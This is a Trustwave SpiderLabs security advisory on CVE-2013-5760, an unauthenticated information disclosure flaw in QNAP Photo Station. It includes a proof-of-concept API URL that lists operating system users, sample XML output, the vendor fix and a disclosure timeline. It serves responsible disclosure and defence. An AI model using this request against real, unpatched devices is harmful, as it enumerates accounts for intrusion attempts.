Trustwave SpiderLabs Security Advisory TWSL2013-029:
Information Disclosure Vulnerability in QNAP Photo Station

Published: 9/27/13
Version: 1.0

Vendor: QNAP
Product: QNAP Photo Station
Version affected: Prior to firmware 4.0.3 build0912

Product description:
Photo Station is online photo management software which links up to a Turbo
NAS.

Finding 1: Unauthenticated Information Disclosure
Credit: Tom Neaves of Trustwave SpiderLabs
CVE: CVE-2013-5760
CWE: CWE-200

The Photo Station API reveals operating system users to unauthenticated
attackers over the Internet.

Example:
The Photo Station API to list users can be accessed directly at:
http://a.b.c.d/photo/p/api/list.php?t=users

This returns a XML file with (what appears to be) OS users, as shown below:

<?xml version="1.0"?>
<QDocRoot version="1.0">
  <status>0</status>
  <users>
    <user><id>0</id><name>Admin</name><fullname>administrator</fullname></user>
    <user><id>502</id><name>REMOVED</name><fullname>Linux User</fullname></user>
    <user><id>501</id><name>REMOVED</name><fullname>Linux User</fullname></user>
    <user><id>500</id><name>REMOVED</name><fullname>Linux User</fullname></user>
  </users>
  <Queries>none</Queries>
</QDocRoot>

Remediation Steps:
The vendor has released a fix in firmware 4.0.3 build0912.

Vendor Communication Timeline:
8/14/13 - Vulnerability disclosed to vendor
9/23/13 - Patch released by vendor
9/27/13 - Advisory published

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
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